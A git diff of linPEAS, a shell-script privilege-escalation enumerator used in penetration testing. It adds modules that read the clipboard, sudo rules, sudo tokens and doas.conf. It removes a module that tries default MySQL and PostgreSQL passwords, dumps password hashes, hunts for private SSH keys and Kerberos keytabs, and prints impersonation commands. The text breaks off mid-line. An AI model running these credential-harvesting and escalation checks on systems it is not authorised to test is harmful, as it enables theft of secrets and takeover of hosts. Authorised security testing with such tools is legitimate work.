--git a/linPEAS/builder/linpeas_parts/6_users_information/5_Pgp_keys.sh b/linPEAS/builder/linpeas_parts/6_users_information/5_Pgp_keys.sh new file mode 100644 index 0000000..8fafb8a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/5_Pgp_keys.sh @@ -0,0 +1,22 @@ +# Title: Users Information - PGP keys +# ID: UG_Pgp_keys +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: PGP keys +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Do I have PGP keys?" +command -v gpg 2>/dev/null || echo_not_found "gpg" +gpg --list-keys 2>/dev/null +command -v netpgpkeys 2>/dev/null || echo_not_found "netpgpkeys" +netpgpkeys --list-keys 2>/dev/null +command -v netpgp 2>/dev/null || echo_not_found "netpgp" +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/6_Clipboard_highlighted_text.sh b/linPEAS/builder/linpeas_parts/6_users_information/6_Clipboard_highlighted_text.sh new file mode 100644 index 0000000..691dd22 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/6_Clipboard_highlighted_text.sh @@ -0,0 +1,29 @@ +# Title: Users Information - Clipboard and highlighted text +# ID: UG_Clipboard_highlighted_text +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Clipboard and highlighted text +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $DEBUG, $pwd_inside_history +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$(command -v xclip 2>/dev/null || echo -n '')" ] || [ "$(command -v xsel 2>/dev/null || echo -n '')" ] || [ "$(command -v pbpaste 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then + print_2title "Clipboard or highlighted text?" + if [ "$(command -v xclip 2>/dev/null || echo -n '')" ]; then + echo "Clipboard: "$(xclip -o -selection clipboard 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," + echo "Highlighted text: "$(xclip -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," + elif [ "$(command -v xsel 2>/dev/null || echo -n '')" ]; then + echo "Clipboard: "$(xsel -ob 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," + echo "Highlighted text: "$(xsel -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," + elif [ "$(command -v pbpaste 2>/dev/null || echo -n '')" ]; then + echo "Clipboard: "$(pbpaste) | sed -${E} "s,$pwd_inside_history,${SED_RED}," + else echo_not_found "xsel and xclip" + fi + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/6_users_information/7_Sudo_l.sh b/linPEAS/builder/linpeas_parts/6_users_information/7_Sudo_l.sh new file mode 100644 index 0000000..b3833aa --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/7_Sudo_l.sh @@ -0,0 +1,32 @@ +# Title: Users Information - Sudo -l +# ID: UG_Sudo_l +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables:$IAMROOT, $PASSWORD, $sudoB, $sudoG, $sudoVB1, $sudoVB2 +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" +(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo" +if [ "$PASSWORD" ]; then + (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo" +fi +( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers" +if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then + echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," +fi +for f in /etc/sudoers.d/*; do + if [ -r "$f" ]; then + echo "Sudoers file: $f is readable" | sed -${E} "s,.*,${SED_RED},g" + grep -Iv "^$" "$f" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" + fi +done +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information/8_Sudo_tokens.sh b/linPEAS/builder/linpeas_parts/6_users_information/8_Sudo_tokens.sh new file mode 100644 index 0000000..74d10fa --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/8_Sudo_tokens.sh @@ -0,0 +1,43 @@ +# Title: Users Information - Sudo tokens +# ID: UG_Sudo_tokens +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Checking Sudo tokens +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $HOME, $CURRENT_USER_PIVOT_PID +# Initial Functions: get_current_user_privot_pid +# Generated Global Variables: $ptrace_scope +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Checking sudo tokens" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens" +ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" +if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then + echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g"; + + if [ "$(command -v gdb 2>/dev/null || echo -n '')" ]; then + echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g"; + fi + + if [ "$CURRENT_USER_PIVOT_PID" ]; then + echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g"; + fi + + if [ -f "$HOME/.sudo_as_admin_successful" ]; then + echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},"; + fi + + if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then + echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g"; + ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' + fi + +else + echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g"; + +fi +echo "" diff --git a/linPEAS/builder/linpeas_parts/6_users_information/9_Doas.sh b/linPEAS/builder/linpeas_parts/6_users_information/9_Doas.sh new file mode 100644 index 0000000..b48bb17 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/9_Doas.sh @@ -0,0 +1,24 @@ +# Title: Users Information - Doas +# ID: UG_Doas +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Checking doas.conf +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $DEBUG, $nosh_usrs, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: $doas_dir_name +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then + print_2title "Checking doas.conf" + doas_dir_name=$(dirname "$(command -v doas || echo -n '')" 2>/dev/null) + if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then + cat /etc/doas.conf "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," + else echo_not_found "doas.conf" + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information.sh b/linPEAS/builder/linpeas_parts/7_software_information.sh deleted file mode 100644 index a016f01..0000000 --- a/linPEAS/builder/linpeas_parts/7_software_information.sh +++ /dev/null @@ -1,688 +0,0 @@ -########################################### -#--------) Software Information (---------# -########################################### - -NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so" - -#-- SI) Useful software -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Useful software" - for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done - echo "" -fi - -#-- SI) Search for compilers -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Installed Compilers" - (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"); - echo "" - - if [ "$(command -v pkg 2>/dev/null)" ]; then - print_2title "Vulnerable Packages" - pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g" - echo "" - fi - - if [ "$(command -v brew 2>/dev/null)" ]; then - print_2title "Brew Installed Packages" - brew list - echo "" - fi -fi - -if [ "$MACPEAS" ]; then - print_2title "Writable Installed Applications" - system_profiler SPApplicationsDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do - if [ -w "$f" ]; then - echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g" - fi - done - - system_profiler SPFrameworksDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do - if [ -w "$f" ]; then - echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g" - fi - done -fi - -#-- SI) MySQL version -if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then - print_2title "MySQL version" - mysql --version 2>/dev/null || echo_not_found "mysql" - mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1) - if [ "$mysqluser" ]; then - echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," - fi - echo "" - echo "" - - #-- SI) MySQL connection root/root - print_list "MySQL connection using default root/root ........... " - mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null) - if [ "$mysqlconnect" ]; then - echo "Yes" | sed -${E} "s,.*,${SED_RED}," - mysql -u root --password=root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - - #-- SI) MySQL connection root/toor - print_list "MySQL connection using root/toor ................... " - mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null) - if [ "$mysqlconnect" ]; then - echo "Yes" | sed -${E} "s,.*,${SED_RED}," - mysql -u root --password=toor -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - - #-- SI) MySQL connection root/NOPASS - mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null) - print_list "MySQL connection using root/NOPASS ................. " - if [ "$mysqlconnectnopass" ]; then - echo "Yes" | sed -${E} "s,.*,${SED_RED}," - mysql -u root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - echo "" -fi - -#-- SI) MySQL credentials -if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then - print_2title "Searching mysql credentials and exec" - printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do - if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds) - STRINGS="`command -v strings`" - echo "Potential file containing credentials:" - ls -l "$d" - if [ "$STRINGS" ]; then - strings "$d" - else - echo "Strings not found, cat the file and check it to get the creds" - fi - - else - for f in $(find $d -name debian.cnf 2>/dev/null); do - if [ -r "$f" ]; then - echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED}," - cat "$f" - fi - done - - for f in $(find $d -name user.MYD 2>/dev/null); do - if [ -r "$f" ]; then - echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED}," - grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password" - fi - done - - for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do - if [ -r "$f" ]; then - u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null) - echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," - fi - done - - for f in $(find $d -name my.cnf 2>/dev/null); do - if [ -r "$f" ]; then - echo "Found readable $f" - grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED}," - fi - done - fi - - mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so") - if [ "$mysqlexec" ]; then - echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)" - echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED}," - fi - done -fi -echo "" - -peass{MariaDB} - -peass{PostgreSQL} - -#-- SI) PostgreSQL brute -if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it. -# Checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this - print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ " - if [ "$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - - print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ " - if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED}," - else echo_no - fi - - print_list "PostgreSQL connection to template0 using pgsql/NOPASS ........... " - if [ "$(timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - - print_list "PostgreSQL connection to template1 using pgsql/NOPASS ........... " - if [ "$(timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - echo "" -fi - -peass{Mongo} - -peass{Apache-Nginx} - -peass{Tomcat} - -peass{FastCGI} - -peass{Http_conf} - -peass{Htpasswd} - -peass{PHP Sessions} - -peass{Wordpress} - -peass{Drupal} - -peass{Moodle} - -peass{Supervisord} - -peass{Cesi} - -peass{Rsync} - -peass{Hostapd} - -peass{Wifi Connections} - -peass{Anaconda ks} - -peass{VNC} - -peass{OpenVPN} - -peass{Ldap} - -if [ "$PSTORAGE_LOG4SHELL" ] || [ "$DEBUG" ]; then - print_2title "Searching Log4Shell vulnerable libraries" - printf "%s\n" "$PSTORAGE_LOG4SHELL" | while read f; do - echo "$f" | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" | sed -${E} "s,log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6]),${SED_RED},"; - done - echo "" -fi - -#-- SI) ssh files -print_2title "Searching ssl/ssh files" -if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi -if ! [ "$SEARCH_IN_FOLDER" ]; then - sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)" - hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)" - hostsallow="$(ls /etc/hosts.allow 2>/dev/null)" - writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) -else - sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)" - hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)" - hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)" - writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) -fi - -peass{SSH} - -grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED}," - -if ! [ "$SEARCH_IN_FOLDER" ]; then - if [ "$TIMEOUT" ]; then - privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) - privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null) - privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null) - privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null) - else - privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) # If there is tons of files linpeas gets frozen here without a timeout - privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null) - fi -else - # If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware - privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null) -fi - -if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then - echo "" - print_3title "Possible private SSH keys were found!" | sed -${E} "s,private SSH keys,${SED_RED}," - if [ "$privatekeyfilesetc" ]; then printf "$privatekeyfilesetc\n" | sed -${E} "s,.*,${SED_RED},"; fi - if [ "$privatekeyfileshome" ]; then printf "$privatekeyfileshome\n" | sed -${E} "s,.*,${SED_RED},"; fi - if [ "$privatekeyfilesroot" ]; then printf "$privatekeyfilesroot\n" | sed -${E} "s,.*,${SED_RED},"; fi - if [ "$privatekeyfilesmnt" ]; then printf "$privatekeyfilesmnt\n" | sed -${E} "s,.*,${SED_RED},"; fi - echo "" -fi -if [ "$certsb4_grep" ] || [ "$PSTORAGE_CERTSBIN" ]; then - print_3title "Some certificates were found (out limited):" - printf "$certsb4_grep\n" | head -n 20 - printf "$$PSTORAGE_CERTSBIN\n" | head -n 20 - echo "" -fi -if [ "$PSTORAGE_CERTSCLIENT" ]; then - print_3title "Some client certificates were found:" - printf "$PSTORAGE_CERTSCLIENT\n" - echo "" -fi -if [ "$PSTORAGE_SSH_AGENTS" ]; then - print_3title "Some SSH Agent files were found:" - printf "$PSTORAGE_SSH_AGENTS\n" - echo "" -fi -if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then - print_3title "Listing SSH Agents" - ssh-add -l - echo "" -fi -if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then - print_3title "Listing gpg keys cached in gpg-agent" - gpg-connect-agent "keyinfo --list" /bye - echo "" -fi -if [ "$writable_agents" ]; then - print_3title "Writable ssh and gpg agents" - printf "%s\n" "$writable_agents" -fi -if [ "$PSTORAGE_SSH_CONFIG" ]; then - print_3title "Some home ssh config file was found" - printf "%s\n" "$PSTORAGE_SSH_CONFIG" | while read f; do ls "$f" | sed -${E} "s,$f,${SED_RED},"; cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,User|ProxyCommand,${SED_RED},"; done - echo "" -fi -if [ "$hostsdenied" ]; then - print_3title "/etc/hosts.denied file found, read the rules:" - printf "$hostsdenied\n" - cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," - echo "" -fi -if [ "$hostsallow" ]; then - print_3title "/etc/hosts.allow file found, trying to read the rules:" - printf "$hostsallow\n" - cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," - echo "" -fi -if [ "$sshconfig" ]; then - echo "" - echo "Searching inside /etc/ssh/ssh_config for interesting info" - grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," -fi -echo "" - -peass{PAM Auth} - -#-- SI) Passwords inside pam.d -pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#") -if [ "$pamdpass" ] || [ "$DEBUG" ]; then - print_2title "Passwords inside pam.d" - grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," - echo "" -fi - -peass{NFS Exports} - -#-- SI) Kerberos -kadmin_exists="$(command -v kadmin)" -klist_exists="$(command -v klist)" -kinit_exists="$(command -v kinit)" -if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then - print_2title "Searching kerberos conf files and tickets" - print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory" - - if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi - if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi - if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi - ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" - if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g"; - else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g"; - fi - - (env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g" - - printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do - if [ -r "$f" ]; then - if echo "$f" | grep -q .k5login; then - echo ".k5login file (users with access to the user who has this file in his home)" - cat "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" - elif echo "$f" | grep -q keytab; then - echo "" - echo "keytab file found, you may be able to impersonate some kerberos principals and add users or modify passwords" - klist -k "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" - printf "$(klist -k $f 2>/dev/null)\n" | awk '{print $2}' | while read l; do - if [ "$l" ] && echo "$l" | grep -q "@"; then - printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g" - # kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid - # We could also try to create a new user or modify a password, but I'm not user if linpeas should do that - fi - done - elif echo "$f" | grep -q krb5.conf; then - ls -l "$f" - cat "$f" 2>/dev/null | sed -${E} "s,default_ccache_name,${SED_RED},"; - elif echo "$f" | grep -q kadm5.acl; then - ls -l "$f" - cat "$f" 2>/dev/null - elif echo "$f" | grep -q sssd.conf; then - ls -l "$f" - cat "$f" 2>/dev/null | sed -${E} "s,cache_credentials ?= ?[tT][rR][uU][eE],${SED_RED},"; - elif echo "$f" | grep -q secrets.ldb; then - echo "You could use SSSDKCMExtractor to extract the tickets stored here" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},"; - ls -l "$f" - elif echo "$f" | grep -q .secrets.mkey; then - echo "This is the secrets file to use with SSSDKCMExtractor" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},"; - ls -l "$f" - fi - fi - done - ls -l "/tmp/krb5cc*" "/var/lib/sss/db/ccache_*" "/etc/opt/quest/vas/host.keytab" 2>/dev/null || echo_not_found "tickets kerberos" - klist 2>/dev/null || echo_not_found "klist" - echo "" - -fi - -peass{FreeIPA} - -peass{Knockd} - -peass{Kibana} - -peass{Elasticsearch} - -##-- SI) Logstash -if [ "$PSTORAGE_LOGSTASH" ] || [ "$DEBUG" ]; then - print_2title "Searching logstash files" - printf "$PSTORAGE_LOGSTASH" - printf "%s\n" "$PSTORAGE_LOGSTASH" | while read d; do - if [ -r "$d/startup.options" ]; then - echo "Logstash is running as user:" - cat "$d/startup.options" 2>/dev/null | grep "LS_USER\|LS_GROUP" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed -${E} "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,root,${SED_RED}," - fi - cat "$d/conf.d/out*" | grep "exec\s*{\|command\s*=>" | sed -${E} "s,exec\W*\{|command\W*=>,${SED_RED}," - cat "$d/conf.d/filt*" | grep "path\s*=>\|code\s*=>\|ruby\s*{" | sed -${E} "s,path\W*=>|code\W*=>|ruby\W*\{,${SED_RED}," - done -fi -echo "" - -#-- SI) Vault-ssh -if [ "$PSTORAGE_VAULT_SSH_HELPER" ] || [ "$DEBUG" ]; then - print_2title "Searching Vault-ssh files" - printf "$PSTORAGE_VAULT_SSH_HELPER\n" - printf "%s\n" "$PSTORAGE_VAULT_SSH_HELPER" | while read f; do cat "$f" 2>/dev/null; vault-ssh-helper -verify-only -config "$f" 2>/dev/null; done - echo "" - vault secrets list 2>/dev/null - printf "%s\n" "$PSTORAGE_VAULT_SSH_TOKEN" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null -fi -echo "" - -#-- SI) Cached AD Hashes -adhashes=$(ls "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null) -if [ "$adhashes" ] || [ "$DEBUG" ]; then - print_2title "Searching AD cached hashes" - ls -l "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null - echo "" -fi - -#-- SI) Screen sessions -if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Searching screen sessions" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions" - screensess=$(screen -ls 2>/dev/null) - screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null) - - screen -v - printf "$screensess\n$screensess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,No Sockets found.*,${C}[32m&${C}[0m," - - find /run/screen -type s -path "/run/screen/S-*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups 